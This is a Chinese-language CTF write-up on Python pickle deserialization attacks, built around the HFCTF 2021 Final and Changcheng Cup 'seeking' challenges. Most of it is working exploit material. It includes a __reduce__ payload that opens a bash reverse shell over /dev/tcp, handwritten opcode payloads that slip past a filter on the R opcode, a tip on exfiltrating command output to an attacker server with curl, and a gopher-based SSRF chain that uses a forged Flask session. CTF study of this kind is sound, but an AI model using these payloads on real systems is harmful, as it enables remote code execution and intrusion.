一. pickle模块

1.1 什么是pickle模块

pickle模块是Python的标准库之一，用于实现对象的序列化和反序列化。它可以将Python对象转换为字节流（serialization），并在需要时重新恢复（deserialization）成相同的对象。通过pickle模块，你可以将Python对象存储到磁盘或通过网络传输，并在需要时重新加载，以方便数据的保存和传递。pickle模块支持几乎所有的Python数据类型，包括自定义类和对象。

1.2 常用函数

pickle.dump(obj, file, [,protocol])功能：将obj对象序列化存入已经打开的file中。参数:obj：想要序列化的obj对象。file：文件名称。protocol：序列化使用的协议。如果该项省略，则默认为0。如果为负值或HIGHEST_PROTOCOL，则使用最高的协议版本。

pickle.load(file)功能：将file中的对象序列化读出。参数:file：文件名称。

pickle.dumps(obj[, protocol])功能：将obj对象序列化为string形式，而不是存入文件中。参数:obj：想要序列化的obj对象。protocal：如果该项省略，则默认为0。如果为负值或HIGHEST_PROTOCOL，则使用最高的协议版本。

pickle.loads(string)功能：从string中读出序列化前的obj对象。参数:string：文件名称。

1.3 魔术方法

这里这里只介绍与漏洞有关的魔术方法

_reduce_

构造方法，在反序列化的时候自动执行，类似于php中的_wake_

_setstate_

在反序列化时自动执行。它可以在对象从其序列化状态恢复时，对对象进行自定义的状态还原。

二. 例题[[BUUOJ]HFCTF 2021 Final]

2.1 题目分析

#!/usr/bin/python3.6import osimport picklefrom base64 import b64decodefrom flask import Flask, request, render_template, sessionapp = Flask(__name__)app.config["SECRET_KEY"] = "*******"User = type('User', (object,), {'uname': 'test','is_admin': 0,'__repr__': lambda o: o.uname,})@app.route('/', methods=('GET',))defindex_handler():ifnot session.get('u'):        u = pickle.dumps(User())        session['u'] = ureturn"/file?file=index.js"@app.route('/file', methods=('GET',))deffile_handler():    path = request.args.get('file')    path = os.path.join('static', path)ifnot os.path.exists(path) or os.path.isdir(path) or'.py'in path or'.sh'in path or'..'in path or"flag"in path:return'disallowed'with open(path, 'r') as fp:        content = fp.read()return content@app.route('/admin', methods=('GET',))defadmin_handler():try:        u = session.get('u')if isinstance(u, dict):            u = b64decode(u.get('b'))        u = pickle.loads(u)except Exception:return'uhh?'if u.is_admin == 1:return'welcome, admin'else:return'who are you?'if __name__ == '__main__':    app.run('0.0.0.0', port=80, debug=False)

关键代码为以下部分

defadmin_handler():try:        u = session.get('u')if isinstance(u, dict):            u = b64decode(u.get('b'))        u = pickle.loads(u)

这道题没有任何的过滤，直接传入自定义构造方法的User对象，pickle.loads进行反序列化，然后即可实现Rce

2.2 payload

import picklefrom base64 import b64encodeimport osUser = type('User', (object,), {'uname': 'tyskill','is_admin': 0,'__repr__': lambda o: o.uname,# 添加__reduce__方法RCE'__reduce__': lambda o: (os.system, ("bash -c 'bash -i >& /dev/tcp/IP/PORT 0>&1'",))    //反序列化时自动调用，反弹shell})u = pickle.dumps(User())print(b64encode(u).decode())

不经base64加密输出为： 这里到下面opcode部分有用

b"x80x04x95<x00x00x00x00x00x00x00x8cx02ntx8cx06systemx93x8c*bash -c 'bash -i >& /dev/tcp/IP/PORT 0>&1'x85R."

三. opcode编写

3.1 为什么要用到opcode

由于单一的__reduce__方法已经被考烂了，现在很多题目都有以下过滤

ifb'R'in code orb'built'in code orb'setstate'in code orb'flag'in code

可以看到过滤了字节R，在序列化（上面例题payload的最后一个字符）的opcode中字节R对应的是__reduce__构造方法，故这种情况无法使用构造方法进行Rce，需要编写opcode

3.2 什么是opcode

Python 的 opcode（operation code）是一组原始指令，用于在 Python 解释器中执行字节码。每个 opcode都是是一个标识符，代表一种特定的操作或指令。 在 Python 中，源代码首先被编译为字节码，然后由解释器逐条执行字节码指令。这些指令以 opcode 的形式存储在字节码对象中，并由Python 解释器按顺序解释和执行。

每个 opcode 都有其特定的功能，用于执行不同的操作，例如变量加载、函数调用、数值运算、控制流程等。Python 提供了大量的 opcode，以支持各种操作和语言特性。

3.3 常见的指令符

3.4 opcode执行原理

涉及到出栈入栈，对照上面的指令即可看懂 示例流程图：

3.5 R指令被禁绕过

在R指令被禁用时我们可以使用 o 、i 来进行绕过，这里重点提一下 b 以下是pickle中b指令对应的源码

这里的实现方式也就是上文的注所提到的：如果inst（传入的对象）拥有__setstate__方法，则把state交给__setstate__方法来处理；否则的话，直接把state这个dist的内容，合并到 inst.__dict__（对象中的属性）里面。

利用思路：如果一个类原先没有__setstate__方法。那么我们利用{'setstate': os.system}来BUILE这个对象，那么现在对象的__setstate__就变成了os.system；接下来利用"ls /"来再次BUILD这个对象，则会执行setstate("ls /") ，而此时__setstate__已经被我们设置为os.system，因此实现了RCE.

payload如下：

payload = b'x80x03c__main__nExamplen)x81}(V__setstate__ncosnsystemnubVls /nb.'

首先用 ) 压入空元组，然后x81用空元组实例化Example对象，然后用 ( 压入MARK，然后压入空字典，用u把{'setstate': os.system}压入空字典，然后用b设置对象里的属性为刚才的字典里的属性，然后再次用b传入“ls /”，检测到inst（传入的对象）拥有__setstate__方法，**则把state交给__setstate__方法来处理，即执行

os.system(ls /)

3.6 构造示例

以下从R 、 i 、 o 三个方向构造编写的命令执行的opcode，可以借鉴参考一下

R ：

b'''cossystem(S'whoami'tR.'''

i ：

b'''(S'whoami'iossystem.'''

o ：

b'''(cossystemS'whoami'o.'''

3.7 一些tips

一、其他模块的load也可以触发pickle反序列化漏洞。例如：numpy.load()先尝试以numpy自己的数据格式导入；如果失败，则尝试以pickle的格式导入。因此numpy.load()也可以触发pickle反序列化漏洞。

二、即使代码中没有import os，GLOBAL指令也可以自动导入os.system。因此，不能认为“我不在代码里面导入os库，pickle反序列化的时候就不能执行os.system”。

三、即使没有回显，也可以很方便地调试恶意代码。只需要拥有一台公网服务器，执行os.system('curl your_server/ls / | base64)，然后查询服务器日志，就能看到结果。这是因为：以`引号包含的代码，在sh中会直接执行，返回其结果。

四. 例题 长城杯[seeking]

4.1 题目分析

首页源码

<?phperror_reporting(0);header("HINT:POST n = range(1,10)");$image = $_GET['image'];echo"这里什么也没有，或许吧。";$allow = range(1, 10);shuffle($allow);if (($_POST['n'] == $allow[0])) {if(isset($image)){ $image = base64_decode($image);     $data = base64_encode(file_get_contents($image));echo"your image is".base64_encode($image)."</br>";echo"<img src='data:image/png;base64,$data'/>";    }else{ $data = base64_encode(file_get_contents("tupian.png"));echo"no image get,default img is dHVwaWFuLHBuZw==";echo"<img src='data:image/png;base64,$data'/>";    }}

这里存在一个随机数的比较绕过，网上查了下这个函数没啥漏洞，采取1-10爆破的方法进行绕过

然后我们可以用file或者filter伪协议通过file_get_contents()函数读取文件

根据提示图片中含有信息，并且bash记录中也有信心，在首页图片中分离出一个7Z的压缩包，web题里也有misc

压缩包中含有一个名为 secret.txt的文本文本，打开发现有 M0sT_D4nger0us.php

用file协议读取该php文件内容

<?php$url=$_GET['url'];$curlobj = curl_init($url);curl_setopt($curlobj, CURLOPT_HEADER, 0);curl_exec($curlobj);?>

发现该题为ssrf

然后根据提示读取secret用户的bash记录

M0sT_D4nger0us.php?url=/home/secret/.bashhistory

发现开启了一个Python的web服务

然后利用file协议读取app.py的内容

M0sT_D4nger0us.php?url=/home/secret/Ez_Pickle/app.py

发现该web服务的地址为 127.0.0.1:5555

#!/usr/bin/python3.6import osimport picklefrom base64 import b64decodefrom flask import Flask, sessionapp = Flask(__name__)app.config["SECRET_KEY"] = "idontwantyoutoknowthis"User = type('User', (object,), {'uname': 'xxx','__repr__': lambda o: o.uname,})@app.route('/', methods=('GET','POST'))defindex_handler():    u = pickle.dumps(User())    session['u'] = ureturn"这里啥都没有，我只知道有个路由的名字和python常用的的一个序列化的包的名字一样哎"@app.route('/pickle', methods=('GET','POST'))defpickle_handler():try:        u = session.get('a')if isinstance(u, dict):            code = b64decode(u.get('b'))ifb'R'in code orb'built'in code orb'setstate'in code orb'flag'in code:                print(code)return"what do you want???"            result=pickle.loads(code)return resultelse:return"almost there"except:return"error"if __name__ == '__main__':    app.run('127.0.0.1', port=5555, debug=False)

考点就是pickle反序列化加opcode构造+gopher协议+session伪造

但是存在过滤

ifb'R'in code orb'built'in code orb'setstate'in code orb'flag'in code

这就是典型的R指令被禁的情况

payload1 = b'''(cossystemS'cat /f* > /tmp/a'o.'''

payload2 =(c__main__Usero}(S"\x5f\x5f\x73\x65\x74\x73\x74\x61\x74\x65\x5f\x5f" //__setstate__cossystemubS"cat /ffl14aaaaaaagg>/tmp/gkjzjh146"b.

import base64import picklepayload = b'''(cossystemS'cat /f* > /tmp/a'o.'''# ls / > /tmp/a 得到flag名称code = payloadpayload = base64.b64encode(code)a = {'b': payload}session = {}session['a'] = aprint(session)

import urllib.parsea ='''GET /pickle HTTP/1.1Host: 127.0.0.1:5555Cookie: session=eyJhIjp7ImIiOiJLR052Y3dwemVYTjBaVzBLVXlkallYUWdMMllxSUQ0Z0wzUnRjQzloSndwdkxnPT0ifX0.ZPlszQ.mXPJEIl_a5JbUlHndOy5WOceS2s'''tmp = urllib.parse.quote(a)new = tmp.replace('%0A','%0D%0A')result = 'gopher://127.0.0.1:5555/' + '_' + newprint(result)